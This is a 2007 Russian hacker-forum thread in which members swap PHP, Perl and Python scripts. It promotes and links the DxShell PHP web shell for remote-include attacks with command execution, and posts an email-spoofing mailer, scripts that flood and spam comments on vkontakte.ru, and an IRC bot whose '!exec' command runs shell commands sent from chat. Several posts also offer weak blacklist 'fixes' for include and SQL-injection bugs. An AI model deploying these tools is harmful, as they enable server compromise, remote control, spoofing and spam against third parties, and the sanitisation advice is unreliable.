(php; opensource)
http://lebed.ucoz.ru/images/dxshell.png
- отличный многофункциональный вэб-шелл на PHP. Фичи:
- Оптимизирован для работы в include-баге, не требуя заливки на сервер
- Все функции (включая скачивание файлов и аутентификацию!!) прекрасно работают в условиях
remote include, даже если bug.php засерает вывод (напр. выдаёт какую-нить ошибку прежде чем дать возможность шеллу рудиться).
- Поддерживает GZIP для скачанных файлов (по выбору)
- Поддерживает аутентификацию (чтоб враг не прошёл)
- Не засоряет лишним экран (включи JavaScript). Lite-mode для слабого трафика
- Оптимизирован под браузер Opera. но в IE тоже всё в порядке
- Графический дизайн в одном флаконе. Все *.gif вручную оптимизированы
- Функция самоудаления
- Eval-Консоль + Ссылки на часто используемые скрипты
- Редактирование Cookie, создание своих
- Выполнение системных коман
- Мыльные функции: Режим флуда + Режим спама
- Транс-кодирование: md5, sha1, crc32, base64, HEX, URL
- Портсканер. Настраиваются все параметры. Есть автоскан основных портов, названия известных демонов
- Ручная работа с сокетами (fsockopen()). Режим вывода HTML и PLAINTEXT
- HTTP-Прокси из браузера. Подделка заголовков: User-Agent, Referer, поддержка POST и COOKIE
- Вся информация о файлах, права (включая sticky bit) v - Облегчённый режим для быстрого сёрфинга
- удобная навигация мышечная навигация. Показывает как относительный путь, так и абсолютный
- Создание папки/файла
- Заливка файлов: FORM, FTP, HTTP (В случае неудачи, файл оставляется в /tmp/)
- Работа с файлами: CHMOD, Просмотр, Редактирование, Удаление, Переименование, Перемещение, Скачивание, Скачивание с GZIP
- Скачивание файла по ссылке HTTP://
- Скачивание/Закачивание по FTP-протоколу
- Работа с MySQL: запросы, поиск, дамп и т.д
Всю остальную инфу вы найдете в архиве с шеллом ;)

Скачать с офсайта hellknights (http://hellknights.void.ru/releases/0x48k-dxshell.zip) зеркало (пасс на архив: dx) (http://lebed.ucoz.ru/soft/dxshell.rar)

источник: http://hellknights.void.ru

Isis
03.07.2007, 19:36
$GLOB['SHELL']['Date']='26.04.2006';
А ведь шеллу уже более года

genom--
03.07.2007, 20:50
щас мода пошла чтоли каждому свой шелл написать чтоли? помойму тех что есть уже и так с головой хватает

Joker-jar
04.07.2007, 08:43
Очень полезный скрипт! ;) Запускаете на Денвере и вся папка заполняется кучей фоток с голыми тетками, ммм...

<?
set_time_limit(0);
ignore_user_abort(1);
error_reporting(0);

for ($i=100;$i<=700;$i++)
{
for ($k=1;$k<=30;$k++)
{
$f1 = fopen("http://pejnya.ru/new_arhive/photo/$i/$k.jpg", "r");
$buffer = fgets($f1, 24);
if ($buffer[6] != "J" || $buffer[7] != "F" || $buffer[8] != "I" || $buffer[9] != "F")
break;
$f2 = fopen($i."_".$k.".jpg", "w");
while (!feof ($f1))
{
fputs($f2, $buffer);
$buffer = fgets($f1, 4096);
}
fputs($f2, $buffer);
fclose ($f1);
fclose ($f2);
}
}
?>

dudits
06.07.2007, 17:24
Привет, ребята выложите пожалуйста скрипт
для подмены поля From в письмах, а то нигде не нашел, а здесь еще его не выкладывали почему то.
Спасибо

NOmeR1
07.07.2007, 11:56
Привет, ребята выложите пожалуйста скрипт
для подмены поля From в письмах, а то нигде не нашел, а здесь еще его не выкладывали почему то.
Спасибо
<meta Content-type: text/plain; charset=windows-1251>
<head>
<style>
a:link{color:#B9B9BD ; text-decoration: none;}
a:hover{color:#B9B9BD ; text-decoration: none;}
a:visited{color:#B9B9BD ; text-decoration: none;}
body{
padding:10px;
background:#2A2E33;
font-family:tahoma, verdana, arial;
font-size:11px;
text-align:center;
color:#B9B9BD;
}
form{
padding:10px;
border:1px solid #666;
width:300px;
height:230px;
margin:0 auto;
}
input{
vertical-align:middle;
margin:1px 0;
padding-right:10px;
border:1px solid #336600;
padding:2px;
background:#363940;
color:#B9B9BD;
}
textarea{
vertical-align:middle;
margin:1px 0;
padding-right:10px;
border:1px solid #336600;
padding:2px;
background:#363940;
color:#B9B9BD;
}
</style>
<title>An0niM-Mailer</title>
</head>
<?
if($send)
{
if($poluchatel)
{
if($otpravitel)
{
if($messaga)
{

$to = "$poluchatel" . ", " ;
$subject = "$subj";
$message = $messaga;

$headers = "MIME-Version: 1.0\n";
$headers.= "Content-type: text/$tipe; charset=windows-1251\n";
$headers.= "From: $otpravitel\n";
mail($to, $subject, $message, $headers);
echo('<center><b><font color="green">Сообщение успешно отправлено</font></b></center>');

}
else
{
echo('<center><b><font color="red">Следует ввести текст сообщения!</font></b></center><br><center>Sn@k3</center>');
}

}
else
{
echo('<center><b><font color="red">Введите отправителя письма, то есть ваш e-mail.</font></b></center>');
}

}
else
{
echo('<center><b><font color="red">Необходимо ввести получателя данного письма.</font></b></center>');
}
}else{
?>
<center><h1>Anonim-Mailer</h1></center>
<form name='Send' method='post'>
Получатель &nbsp;<input type='text'name='poluchatel' value=''><br>
Отправитель<input type='text' name='otpravitel' value=''><br>
Тема сообщ. &nbsp;<input type='text' name='subj' value=''><br>
<br>
htm -&gt; <input type='radio' checked='checked' tabindex='1' name='tipe' value='html'> <input type='radio' name='tipe' value='plain'>&lt;- text<br>
<br>
<textarea name='messaga' rows='4' cols='20' value=''></textarea><br><br><input type='submit' name='send' value='Отправить'>
</form>
<html><?}?>

NOmeR1
07.07.2007, 12:31
Генератор пароля по нужным символам + кодировка сгенерированного пароля :)
<!--(c)NOmeR1-->

<html>
<head>
<title>.Pa$$geN.</title>
<style>
body{
padding:10px;
background:#2A2E33;
font-family:tahoma, verdana, arial;
font-size:11px;
text-align:center;
color:#B9B9BD;
}
form{
padding:10px;
border:1px solid #666;
width:200px;
margin:0 auto;
}
input{
vertical-align:middle;
margin:1px 0;
padding-right:10px;
border:1px solid #336600;
padding:2px;
background:#363940;
color:#B9B9BD;
}
</style>
</head>
<body>
<?
if($_POST['s'] && $_POST['num'] && $_POST['num'] > 2 && $_POST['num'] <= 100)
{
function passgen($n)
{
$symb = '!@#$%^&*()_+QWERTYUIOP{}|ASDFGHJKL:"ZXCVBNM<>?№;%-=qwertyuiop[]\asdfghjkl\'zxcvbnm,./';
$pass = '';
for($i=0;$i<$n;$i++)
{
$pass .= $symb{rand(0,strlen($symb)-1)};
}
return htmlspecialchars($pass);
}
echo ' '.passgen($_POST['num']);
}
elseif(!$_POST['s'])
{
?>
<form method="POST">
Кол-во символов: <input type=text name="num"><br>
<input type=submit name="s">
</form>
<?
}
else echo(' Поля заполнены некорректно.');
?>
</body>
</html>

DIAgen
07.07.2007, 12:59
Грабим свежие прокся с checker.freeproxy.ru
Писал когда то для себя решил выложить в массы...

$fp = fsockopen("checker.freeproxy.ru", 80, $errno, $errstr, 10);

if ($fp) {

$out = "GET /checker/last_checked_proxies.php HTTP/1.1\r\n";
$out .= "Host: checker.freeproxy.ru\r\n";
$out .= "Connection: Close\r\n\r\n";

fwrite($fp, $out);
$content = '';
while(!feof($fp)) {
$content .= fread($fp,2500);
}
fclose($fp);
$content = str_replace("\n", "@@@", $content);
$content = str_replace("\r\n", "@@@", $content);
}

preg_match_all ("#(<script> <!--)(.*?)(// --></script>)#si", $content , $massiv_java);

$count_proxy = count($massiv_java['2'])-1;
if($count_proxy ) {
for ($i = 0; $i <= $count_proxy; $i++) {

$temp_text = $massiv_java['2'][$i];
preg_match_all ("#(name = ')(.*?)(';)#si",$temp_text , $massiv_ip);
$ip = $massiv_ip['2']['0'];
if($ip) {
preg_match_all ("#(':' \+)(.*?)(\);)#si", $temp_text , $massiv_rabot);
$code = $massiv_rabot['2']['0'];
preg_match_all ("#($code = )(port)(\d{1,2})(.*?)(;)#si", $temp_text , $massiv_rabot);
$port_temp = $massiv_rabot['2']['0'].$massiv_rabot['3']['0'];
$code = $massiv_rabot['4']['0'];
preg_match_all ("#($port_temp = )(.*?)(;)#si", $temp_text , $massiv_rabot);
$port_code = $massiv_rabot['2']['0'];
$expression = $port_code.$code;
eval('$result = '.$expression.';');
echo $insect_proxy = $ip.':'.$result.'<br>';
}
}
}

Может код в некоторых местах корявый но работает на славу...

dudits
07.07.2007, 15:09
<meta Content-type: text/plain; charset=windows-1251>
<head>
<style>
a:link{color:#B9B9BD ; text-decoration: none;}
a:hover{color:#B9B9BD ; text-decoration: none;}
a:visited{color:#B9B9BD ; text-decoration: none;}
body{
padding:10px;
background:#2A2E33;
font-family:tahoma, verdana, arial;
font-size:11px;
text-align:center;
color:#B9B9BD;
}
form{
padding:10px;
border:1px solid #666;
width:300px;
height:230px;
margin:0 auto;
}
input{
vertical-align:middle;
margin:1px 0;
padding-right:10px;
border:1px solid #336600;
padding:2px;
background:#363940;
color:#B9B9BD;
}
textarea{
vertical-align:middle;
margin:1px 0;
padding-right:10px;
border:1px solid #336600;
padding:2px;
background:#363940;
color:#B9B9BD;
}
</style>
<title>An0niM-Mailer</title>
</head>
<?
if($send)
{
if($poluchatel)
{
if($otpravitel)
{
if($messaga)
{

$to = "$poluchatel" . ", " ;
$subject = "$subj";
$message = $messaga;

$headers = "MIME-Version: 1.0\n";
$headers.= "Content-type: text/$tipe; charset=windows-1251\n";
$headers.= "From: $otpravitel\n";
mail($to, $subject, $message, $headers);
echo('<center><b><font color="green">Сообщение успешно отправлено</font></b></center>');

}
else
{
echo('<center><b><font color="red">Следует ввести текст сообщения!</font></b></center><br><center>Sn@k3</center>');
}

}
else
{
echo('<center><b><font color="red">Введите отправителя письма, то есть ваш e-mail.</font></b></center>');
}

}
else
{
echo('<center><b><font color="red">Необходимо ввести получателя данного письма.</font></b></center>');
}
}else{
?>
<center><h1>Anonim-Mailer</h1></center>
<form name='Send' method='post'>
Получатель &nbsp;<input type='text'name='poluchatel' value=''><br>
Отправитель<input type='text' name='otpravitel' value=''><br>
Тема сообщ. &nbsp;<input type='text' name='subj' value=''><br>
<br>
htm -&gt; <input type='radio' checked='checked' tabindex='1' name='tipe' value='html'> <input type='radio' name='tipe' value='plain'>&lt;- text<br>
<br>
<textarea name='messaga' rows='4' cols='20' value=''></textarea><br><br><input type='submit' name='send' value='Отправить'>
</form>
<html><?}?>



Спасибо за скрипт, но вот только когда заполняю все поля и нажимаю отправить ничего не происходит,
все поля становятся читыми и всё. что не так?

NOmeR1
10.07.2007, 22:26
Спасибо за скрипт, но вот только когда заполняю все поля и нажимаю отправить ничего не происходит,
все поля становятся читыми и всё. что не так?
Попробуй заменить
if($send)
{
if($poluchatel)
{
if($otpravitel)
{
if($messaga)
{

На
if($_POST['send'])
{
if($_POST['poluchatel'])
{
if($_POST['otpravitel'])
{
if($_POST['messaga'])
{

NOmeR1
11.07.2007, 15:06
Не мог придумать, что написать :)
Решил написать, как избавиться от самых известных багов.
XSS.

<?
...
$_REQUEST['xss'] = htmlspecialchars($_REQUEST['xss']);
echo($_REQUEST['xss']);
...
?>

PHP-include.

<?
...
if($_REQUEST['file'])
{
$_REQUEST['file'] = str_replace('/','',$_REQUEST['file']);
$_REQUEST['file'] = str_replace('%','',$_REQUEST['file']);
$_REQUEST['file'] = str_replace(':','',$_REQUEST['file']);
include($_REQUEST['file']);
}
...
?>

SQL-injection.

<?
...
$_REQUEST['id'] = str_replace("'","",$_REQUEST['id']);
$_REQUEST['id'] = str_replace('-','',$_REQUEST['id']);
$_REQUEST['id'] = str_replace('+','',$_REQUEST['id']);
$_REQUEST['id'] = str_replace('/','',$_REQUEST['id']);
$_REQUEST['id'] = str_replace('*','',$_REQUEST['id']);
$_REQUEST['id'] = str_replace(' ','',$_REQUEST['id']);
mysql_query('UNION SELECT id FROM news WHERE id='.$_REQUEST['id']);
...
?>

DIAgen
11.07.2007, 16:09
[/php]
SQL-injection.

<?
...
$_REQUEST['id'] = str_replace("'","",$_REQUEST['id']);
$_REQUEST['id'] = str_replace('-','',$_REQUEST['id']);
$_REQUEST['id'] = str_replace('+','',$_REQUEST['id']);
$_REQUEST['id'] = str_replace('/','',$_REQUEST['id']);
$_REQUEST['id'] = str_replace('*','',$_REQUEST['id']);
$_REQUEST['id'] = str_replace(' ','',$_REQUEST['id']);
mysql_query('UNION SELECT id FROM news WHERE id='.$_REQUEST['id']);
...
?>

Зачем изобретать велосипед, если в PHP уже есть готовое решение
function secure_sql($value) {
if( get_magic_quotes_gpc() ) {
$value = stripslashes( $value );
}
if( function_exists( "mysql_real_escape_string" ) ) {
$value = mysql_real_escape_string( $value );
} else {
$value = addslashes( $value );
}
return $value;
}

dudits
11.07.2007, 17:23
Попробуй заменить
if($send)
{
if($poluchatel)
{
if($otpravitel)
{
if($messaga)
{

На
if($_POST['send'])
{
if($_POST['poluchatel'])
{
if($_POST['otpravitel'])
{
if($_POST['messaga'])
{



Попробовал, вроде пишет щас , что : Сообщение успешно отправлено, но на ящик пробный не приходят почему то:( почему интересно?

NOmeR1
11.07.2007, 21:33
Попробовал, вроде пишет щас , что : Сообщение успешно отправлено, но на ящик пробный не приходят почему то:( почему интересно?
Возможно, у тебя стоит денвер. Поставь его на 6te.net.

C!klodoL
12.07.2007, 05:44
мой первый скрипт который я выкладываю =) флудит камментами к фотке на сайте vkontakte.ru, м.б. потом переделаю его в спамер, как я понял ограничений на комментарии там нет, спасибо KSURi и genom-- за то что отвечали на мои вопросы по перл
#!/usr/bin/perl

###CONFIG###
$login = 'milo@mail.ru';
$password = 'Pas$W@rD';
$tg = 100; #сколько сообщений слать
$target = '50343443'; #id фотки которую будем камментировать
$text = 'Йа фотокамментомёт!'; #текст каммента
$pause = 0.5; #задержка между запросами
###CONFIG###

use LWP::UserAgent;
use HTTP::Cookies;

$ua = LWP::UserAgent->new;
$cookies = HTTP::Cookies->new;
$ua->cookie_jar($cookies);
$res = $ua->post('http://vkontakte.ru/login.php', {
'referer' => '',
'email' => $login,
'pass' => $password,
'CookieDate' => 1 });
$res = $ua->get('http://vkontakte.ru/profile.php');
while($count < $tg){
$res = $ua->get("http://vkontakte.ru/photos.php?act=show&id=$target&act=post&comment=$text");
print $res->as_string;
$count++;
sleep($pause);
}

Ch3ck
12.07.2007, 12:00
Только что заметил... В посимвольном бруте паролей указывают массив из букв и в цикле начинают перебирать все возможные комбинации из них. Не путать с использованием rand().!
На мой взгляд проще сделать так:
<?php
$string = "aaaaa";
while(strlen($string) == 5)
{
echo $string .'<br>';
$string++;
}
?>

NOmeR1
12.07.2007, 15:29
Вот ещё придумал способ защиты админки или любого скрипта от постаронних глаз, если нету MySQL или того, где бы хранилась информация о админе. Ввод пароля не нужен :)

<?
...
if($REMOTE_ADDR != 'тут.введите.ваш.ip') //не забудьте изменить эту строчку
exit('Вы не админ :)');
...
?>
Однако, этот способ не очень безопасный.

GreenBear
12.07.2007, 16:27
Однако, этот способ не очень безопасный.
если куплен внешний ип, то вполне безопасно =)

Thanat0z
12.07.2007, 23:32
Подкиньте скрипт плиз - нужно пропарсить файл по количеству символов в слове, то есть нужен скрипт, который примет на вход файл с текстом (каждое слово с новой строки), а на выходе будeт созданы файлы в которых будут слова с определенным количеством символов - с 6, 7, 8 etc символов

perl/php

ЗЫ еще вспомнил, нужен второй - обрезать слова частями, то есть нужно обрезать слово на N символов в один файл, а всё что после N слить в другой

GreenBear
12.07.2007, 23:52
<?php
$fp = fopen('file.txt', 'r');
$f = array();
while(!feof($fp)){
$word = rtrim(fgets($fp));
$len = strlen($word);
if(!file_exists($len.'.txt') || !$f[$len]){
$f[$len] = fopen($len.'.txt', 'w');
}
fwrite($f[$len], $word."\n");

}
foreach($f as $k=>$v) fclose($f[$k]);
fclose($fp);
?>

hhover
13.07.2007, 00:06
По колличеству символов:

<?php

$file = file ( 'filename.txt' );

foreach ( $file as $word )
{

$word = trim ( $word );
if ( $word == '' )
{
continue;
}

$len = strlen ( $word );

$fo = fopen ( $len . ".txt", "ab" );
fwrite ( $fo, $word . "\r\n" );
fclose ( $fo );

}

?>


Разделение слова на части:

<?php

$filename = 'filename.txt';
$file = file ( $filename );
$max_len = 10;

$main = fopen ( $filename, 'wb' );

foreach ( $file as $word )
{

$word = trim ( $word );
if ( $word == '' )
{
continue;
}

$to_main = substr ( $word, 0, $max_len );
$to_add = substr ( $word, $max_len );

fwrite ( $main, $to_main );

if ( $to_add == '' )
{
$add = fopen ( 'add.txt', 'ab' );
fwrite ( $add, $to_add );
fclose ( $add );
}

}

fclose ( $main );

?>

=faraon=
13.07.2007, 11:03
http://x0.6te.net/rating/
<?
################################################## ######
# CODED BY NOMER1... #
# Example for script here > http://x0.6te.net/rating/ #
# ЭТОТ СКРИПТ ПАРСИТ САЙТ, ОЦЕНИВАЮЩИЙ КАЧ-ВО СОЗДАНИЯ #
# ВАШЕГО САЙТА, ДИЗАЙН И ПРОЧЕЕ. СПС =FARAON= ЗА ТО, #
# ЧТО ПОДАЛ ИДЕЮ НАПИСАТЬ ЕГО :D ВЫРАЖАЮ БЛАГОДАРНОСТЬ #
# ОТ ПИОНЕРСКОЙ ОРГАНИЦИИ ГЛЕБОВСКОГО САВХОЗА, КАК #
# ГОВОРИТСЯ... ВООБЩЕМ, ЖДЁМС КОМЕНТАРИЕВ ПО СКРИПТУ.. #
# СОРРИ, ЧТО НАПИСАЛ ОЧЕРЕДНОЙ ПАРСЕР, ЩА ПРОСТО НЕТУ #
# НОВЫХ ИДЕЙ... СПАСИБО #
################################################## ######
?>
<html>
<body>
<head><style>
body
{
padding:10px;
background:#2A2E33;
font-family:tahoma, verdana, arial;
font-size:11px;
text-align:left;
color:#B9B9BD;
}
a:link, a:hover, a:visited
{
color:#B9B9BD;
text-decoration: none;
}
input
{
vertical-align:middle;
margin:1px 0;
padding-right:10px;
border:1px solid #336600;
padding:2px;
background:#363940;
color:#B9B9BD;
}
form
{
padding:10px;
padding-left:20px;
border:1px solid #666;
width:280px;
margin:0 auto;
}
.vstb
{
padding:10px;
padding-left:20px;
border:1px solid #666;
width:400px;
margin:0 auto;
}
</style>
<?
if($_GET['url'])
{
$ps = file_get_contents('http://www.cys.ru/cyber.html?url='.$_GET['url']);
$pattern = "#<index>(.*?)</index>#is";
preg_match_all($pattern, $ps, $out, PREG_SET_ORDER);
if(!preg_match_all($pattern, $ps, $out, PREG_SET_ORDER)) echo('<title>RaTiNg.SiTe{'.htmlspecialchars($_GET['url']).'}</title><div align="center">Невозможно просмотреть сайт <b>'.htmlspecialchars($_GET['url']).'</b></div>');
foreach($out as $row)
{
$row[1] = str_replace('<div class="vst">','<center><h2><font color="green">',$row[1]);
$row[1] = str_replace('</div>
<h1 class="diag">',' ',$row[1]);
$row[1] = str_replace('<a href="/','<a href="http://www.cys.ru/',$row[1]);
$row[1] = str_replace('</a></h1>','</a></font></h2></center>',$row[1]);
$row[1] = str_replace('<img src="/','<img src="http://www.cys.ru/',$row[1]);
$row[1] = str_replace('<div class="vstb"><br>Комментарии и пояснения</div>','<div class="vstb"><font color="green">Коментарии и предложения.</font><br><br><div align="left">',$row[1]);
$row[1] = str_replace('<div class="otcball">','<h4>',$row[1]);
$row[1] = str_replace('</div>
<div class="otc">','</h4><h4>',$row[1]);
$row[1] = str_replace('<strong>','<b><font color="YellowGreen">',$row[1]);
$row[1] = str_replace('</strong> ','</font></b> ',$row[1]);
$row[1] = str_replace('</strong></div>','</font>}</b><font color="YellowGreen">',$row[1]);
$row[1] = str_replace('</strong><br>','</font>}</b></h4>',$row[1]);
$row[1] = str_replace('value="/','value="http://www.cys.ru/',$row[1]);
$row[1] = str_replace('action="/','action="http://www.cys.ru/',$row[1]);
$row[1] = str_replace('</a>)<br>','</a>)</font><br>',$row[1]);
$row[1] = str_replace('предложить поправки</a></center>','предложить поправки</a></center></div>',$row[1]);
$row[1] = str_replace('%2F">','%2F" style="color:green;">',$row[1]);
$row[1] = str_replace('<img','<img border="0"',$row[1]);
$row[1] = str_replace('width="280" height="150"></center>','width="280" height="150"></center><br><br>',$row[1]);
$row[1] = str_replace('Результат оценки качества создания сайта','Качество создания сайта',$row[1]);
$row[1] = str_replace('Оценка: ','Quality{',$row[1]);
$row[1] = str_replace(' баллов',' баллов}',$row[1]);
$row[1] = str_replace('Фактор D: ','Фактор D{',$row[1]);
$row[1] = str_replace('Место в рейтинге: ','Место<b>{',$row[1]);
echo'<title>RaTiNg.SiTe{'.htmlspecialchars($_GET['url']).'}</title>
<table align="center" width="400" style="font-size:11px"><div align="left">'.$row[1].'</div></table>';
}
}
else
{
?>
<title>RaTiNg.SiTe{}</title>
<form method=get style='width:200px;'>
Url: <input type='text' name='url'><br>Example, <b>site.ru</b>.<br><br>
<center><input type='submit' name='submit'></center>
</form>
<?
}
?>
</body>
</html>

Isis
13.07.2007, 11:44
=faraon=, непонятно по каким принципам вычисляет дизайн sys.ru =\

Hormold
13.07.2007, 19:21
Обычный граббер текста от тега до тега!
<?
$f = file_get_contents('http://mail.ru/index.php');
preg_match_all( '/<b>(.*)<\/b>/iUs' , $f, $matches);
echo $matches[0][0];
?>

Thanat0z
14.07.2007, 23:19
Обычный граббер текста от тега до тега!
<?
$f = file_get_contents('http://mail.ru/index.php');
preg_match_all( '/<b>(.*)<\/b>/iUs' , $f, $matches);
echo $matches[0][0];
?>

может кто такой навоять на перле? Ну и конечно чтоб он всю страничку пропарсил?

C!klodoL
14.07.2007, 23:41
типа так
#!/usr/bin/perl

use LWP::UserAgent;

$ua = LWP::UserAgent->new;

$res = $ua->get('http://mail.ru/index.php', {
'referer' => '',
'CookieDate' => 1 });

$text = $res->as_string;

$text =~s/<a href="(.*)"/$text=$1/gie; так или $text =~s/(.*)gref="//gi; или так $text =~s/"(.*)//gi;

print $text;

Thanat0z
15.07.2007, 00:26
И что он делает? Он кажется просто выводит весь исходник страницы и не более, а мне надо вывод текста между тегов, к пример как у нас на форуме между тегами
<!-- message -->
...
<!-- / message -->

Ni0x
15.07.2007, 14:42
IRC бот на питоне

#-----------------------------------------------+
# ._____________________. |
# Coded by slav0nic | slav0nic0@gmail.com | |
# ^---------------------^ |
# Site: slav0nic.xss.ru |
#-----------------------------------------------+
#
#
#commands: !exit','!port','!version','!exec'
#!port [host][port] - check open port
#!exec [commend] - exec command


import socket
import os
import sys
from random import *
from time import *

class IRC:

def __init__(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.port=6667
self.ch_key=''
self.nick = 'slav'+str(randrange(1000)) #bot name
self.entermsg='[+]ok' #send msg to chan after connect
self.autoentermsg=1 #send self.entermsg
self._exec='!exec' #prefix for shell command
self.bot_commands=['!exit','!port','!version','!get',self._exec]
# self.encoding='1251' #default Russian (encode in you irc client)
self.sleep=0.1 #delay between send !exec result lines
self.version='0.2'

def loop(self):
try:
self.sock.connect((self.host, self.port))
self.sock.send('NICK %s\r\n' % self.nick)
self.sock.send('USER localhost localhost localhost : slavar\r\n')
self.sock.send('JOIN %s %s\r\n' % (self.chan,self.ch_key))
if self.autoentermsg: self.__sendprivmsg(self.entermsg)

while True:
self.res_data = self.sock.recv(1024)
print self.res_data #dbg
if self.res_data.startswith(':ERROR') or self.res_data.startswith('ERROR'):
self.sock.close()
print '[-]Serv error' #dbg
sys.exit(1)
if self.res_data.startswith('PING'):
self.sock.send('PONG : PING\r\n')
elif self.res_data.find('PRIVMSG')!=-1:
msg,msg_type,command,from_=self.__pars_privmsg()
print 'msg_type=%s msg=%r cmd=%r'%(msg_type,msg,command)#dbg
if (msg_type=="to_user" and command!=''): #this is a bot command

if command in self.bot_commands:
if command=='!exit':
self.__ircexit()
self.sock.close()
sys.exit(0)
elif command=='!version':
self.__sendto_user(from_,'Version= \x0303%s'%self.version)
elif command=='!exec':
stdout=os.popen(msg[(len(command)+1):])
for line in stdout.readlines() :
sleep(self.sleep)
self.__sendto_user(from_,line)
#print line #dbg

## elif command=='!get':
## """DCC SEND will be later ;)"""
## self.__sendto_user(from_,'\x01DCC SEND 123.txt 2130706433 4116 4\x01') #ip to long socket.ntohl(struct.unpack('i',socket.inet_aton('1 27.0.0.1'))[0])

elif command=='!port':
# print '%r %r'%(msg.split()[1],msg.split()[2]) #dbg
try:
x=self.__check_port(msg.split()[1],msg.split()[2])
except:
self.__sendto_user(from_,'\x0304[-]\x0300Error "!port [host] [port]" format')
x=-1
if x==1:
self.__sendto_user(from_,'\x0303[+]\x0300Port %i Ok'%int(msg.split()[2]))
elif x==-1:
pass
else:
self.__sendto_user(from_,'\x0304[-]\x0300Close')
elif msg.startswith('\x01DCC SEND'):
print 'DCC SEND' #dbg

pass
else:
self.__sendto_user(from_,'\x0304[-]\x0300Unknown command %s'%command)


except:
print '[-]Error:',sys.exc_value
def __ircexit(self):
self.sock.send('QUIT :\x0302Go offline\r\n')

def __sendprivmsg(self,msg):
self.sock.send('PRIVMSG %s :%s\r\n' % (self.chan,msg))

def __sendto_user(self,user,msg):
self.sock.send("PRIVMSG %s :%s\r\n"%(user,msg))

def __pars_privmsg(self):
msg=self.res_data.split(':',2)[2][:-2]
if self.res_data.split(':')[1].split()[2][0]=='#': msg_type='to_chan'
else: msg_type= 'to_user'
from_= self.res_data.split('!')[0].replace(':','')
if msg[0]=='!': command=msg.split()[0].replace('\r\n','')
else: command=''
return msg, msg_type,command,from_
def __check_port(self,host,port):
socktest = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# socktest.settimeout(timeout)
try:
socktest.connect((host,int(port)))
return 1
except:
return 0
if __name__ == '__main__':

bot = IRC()
bot.host = 'irc.lamer.la' #irc server ip (default bot.port=6667)
bot.chan = '#chan'
bot.ch_key= '' #channel password
bot.nick=(socket.gethostname()).replace('.','_')+' _'+str(randrange(10))
# if os.fork():
bot.loop()

NOmeR1
16.07.2007, 12:25
Вот как можно защитить регу пользователей вводом кода с картинки (пример)
register.php

Antibot Secure:<br><input type='text' name='image'><br>(Введите числа, изображённые на картинке)<br><br>
<img src='image.php'><br>
...
<?
...
if($_COOKIE['PictureCode'] != md5($image))
exit("Код на картинке не совпадает с кодом, написанным вами.");
...
?>

image.php

<?php
// Получаем псевдослучайное число
$rand = rand(10000, 99999);

// Получаем его хэш
$rv = md5($rand);

// Засовываем хэш в куку
setcookie ("PictureCode", $rv);


// СоздаЈм картинку со светло-серой сеткой на тЈмно-сером фоне
$picture = imagecreate (61, 21);
$bgcolor = imagecolorallocate($picture, 165, 165, 165);
$ntcolor = imagecolorallocate($picture, 200, 200, 200);
for ($i=0; $i<=100; $i+=5) imageline($picture, $i, 0, $i, 100, $ntcolor);
for ($i=0; $i<=100; $i+=5) imageline($picture, 0, $i, 100, $i, $ntcolor);

// Случайный цвет для каждой цифры

$fontcolor1 = imagecolorallocate($picture,rand(0,111), rand(0,111), rand(0,111));
$fontcolor2 = imagecolorallocate($picture,rand(0,111), rand(0,111), rand(0,111));
$fontcolor3 = imagecolorallocate($picture,rand(0,111), rand(0,111), rand(0,111));
$fontcolor4 = imagecolorallocate($picture,rand(0,111), rand(0,111), rand(0,111));
$fontcolor5 = imagecolorallocate($picture,rand(0,111), rand(0,111), rand(0,111));

// Рисуем на картинке случайное число
imagestring($picture, 11, 07, 1, substr($rand,0,1), $fontcolor1);
imagestring($picture, 11, 17, 6, substr($rand,1,1), $fontcolor2);

imagestring($picture, 11, 27, 1, substr($rand,2,1), $fontcolor3);
imagestring($picture, 11, 37, 6, substr($rand,3,1), $fontcolor4);
imagestring($picture, 11, 47, 1, substr($rand,4,1), $fontcolor5);

// Посылаем заголовки и картинку
header("Content-type: image/png");
imagepng($picture);
imagedestroy($picture);
?>

ant0ha
17.07.2007, 00:09
Полезный скрипт для вытаскивания индекса цитируемостит сайта:
<?php
$url='www.site.ru';

function tic($url)
{
$pattern = "http://bar-navig.yandex.ru/u?ver=2&show=32&url=http://";
$url = trim($url, '/') . '/';
$url = str_replace('http://', '', $url);
$txt = file_get_contents($pattern.$url);

preg_match('|<tcy rang="\d*" value="(.*)"/>|', $txt, $out);
$cy = (int) $out[1];

return $cy;
}

$tic=tic($url);
echo $tic;
?>

Hormold
17.07.2007, 01:13
NOmeR1,
Помоги переделать под это: http://www.viruslist.com/ru/search?VN=
У меня нифига неработает :(
Вот то-что я сделал:

<?
if($_GET['virus'])
{
$file = file_get_contents("http://www.viruslist.com/ru/search?VN=".$_GET['virus']);
preg_match_all( '/<table cellspacing=0 cellpadding=0 width=100% height=100% border=0>(.*)<\td colspan=3 height=20><\/td><\/tr>/isU' , $file, $out);
echo $out[0][0];
}else{
?>
<title>Virus Lab</title>
<form style="width:180px;" method=get style='width:200px;'>
Virus: <input type='text' name='virus'><br>Example, <b>Virus.Win32.Gpcode.ai</b>.<br><br>
<center><input type='submit'></center>
</form>
<?}?>

GreenBear
17.07.2007, 01:43
<?
if($_GET['virus'])
{
$file = file_get_contents("http://www.viruslist.com/ru/search?VN=".$_GET['virus']);
preg_match( '/\<\/a\>\<\/b\>\<\/td\>\<\/table\>(.*)\<table(.*?)/is' , $file, $out);
echo $out[1];
}else{
?>
<title>Virus Lab</title>
<form style="width:180px;" method=get style='width:200px;'>
Virus: <input type='text' name='virus'><br>Example, <b>Virus.Win32.Gpcode.ai</b>.<br><br>
<center><input type='submit'></center>
</form>
<?}?>

C!klodoL
18.07.2007, 21:25
написал скрипт спамера для сайта vkontakte.ru, так как тас одного акка не отправить более 200 сообщений в сутки, то спамим альбомы, на комментарии к которым нет никаких ограничений, спамит камментом каждую фотку в альбоме, можно изменить чтобы спамил только одну
#!/usr/bin/perl
########################
# vkontakte.ru spamer
# C!klodoL
########################
#текст сообщения;
$text = 'Превед';
#хост прокси
$host = 'localhost';
#порт прокси
$port = '8118';
#id альбома с которого начать
$start = 1000;
#куки, remixpass= хэш пароля, remixmid= id, remixemail= мыло
$cookie = 'remixedu=0; remixpass=0decadac4aded48a704dfzebadc3ac9; remixfriendsCommon=1; remixmid=1000; remixemail=FljcqdXXDx%40narod.ru; remixgroups=1; remixchk=2';

$text =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
while(1){
system("cls ; clear");
use IO::Socket;
